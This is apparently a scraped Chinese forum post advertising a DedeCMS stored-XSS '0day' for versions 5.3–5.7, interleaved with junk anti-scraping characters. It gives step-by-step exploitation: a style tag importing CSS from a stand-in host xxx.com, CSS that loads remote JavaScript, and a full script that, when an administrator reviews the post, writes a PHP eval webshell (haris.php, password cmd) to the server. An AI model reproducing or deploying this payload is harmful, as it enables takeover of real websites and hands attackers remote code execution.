dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有2个：
) J5 b3 o( r* ~7 e- i8 S, O0 z1.开启注册
: X/ G0 j) z. U2 E# `2.开启投稿
注册会员----发表文章
7 r$ C  O* x# v% m内容填写：
复制代码
<style>@im\port'\http://xxx.com/xss.css';</style>
新建XSS.Css
! L" s/ B: y! O5 j! y( p复制代码
.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
新建xss.js 内容为
- x7 \; [# w& ^+ G+ o# G% N4 N复制代码
5 t9 f% a  h1 N! V" \# n1.var request = false;
2.if(window.XMLHttpRequest) {
5 |+ P4 P: H6 a' Z& N9 x, F3.request = new XMLHttpRequest();
% I4 s: M( d+ H6 h* K& p4.if(request.overrideMimeType) {
% g& {: G! p& ?4 H- C" p4 A- G5.request.overrideMimeType('text/xml');
& X3 M- P0 I) n* n5 l6.}
2 O8 e' k, D: [) l7.} else if(window.ActiveXObject) {
; Z3 J! e: }, T$ E! H8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9.for(var i=0; i<versions.length; i++) {
  b- _$ O$ b9 D10.try {
11.request = new ActiveXObject(versions);
12.} catch(e) {}
13.}
14.}
, h  ~! {" a+ @0 w4 [% s15.xmlhttp=request;
16.function getFolder( url ){
17. obj = url.split('/')
( v2 {) p. F! `' `7 [5 X) Q18. return obj[obj.length-2]
+ g: V& Y; Y/ b/ ^/ q3 |19.}
20.oUrl = top.location.href;
9 k1 t5 _6 v6 W4 d1 ^% G  Q21.u = getFolder(oUrl);
4 `, l: u& s5 X' P* G: a0 n22.add_admin();
23.function add_admin(){
" A3 V2 W+ m( R" O( B: K2 P0 _) W24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
' d2 }) U7 m3 f$ m26.xmlhttp.open("POST", url, true);
6 V9 U. |8 v# k) b4 A1 l27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
) J# `( F1 C/ {6 Y) I3 S3 L) m/ A' h28.xmlhttp.setRequestHeader("Content-length", params.length);
8 g& U8 v1 E) k8 t29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
30.xmlhttp.send(params);
7 c/ j5 l: g' o( g* l# n31.}
0 M( o/ V/ M# S& x, a, ]' e, C当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd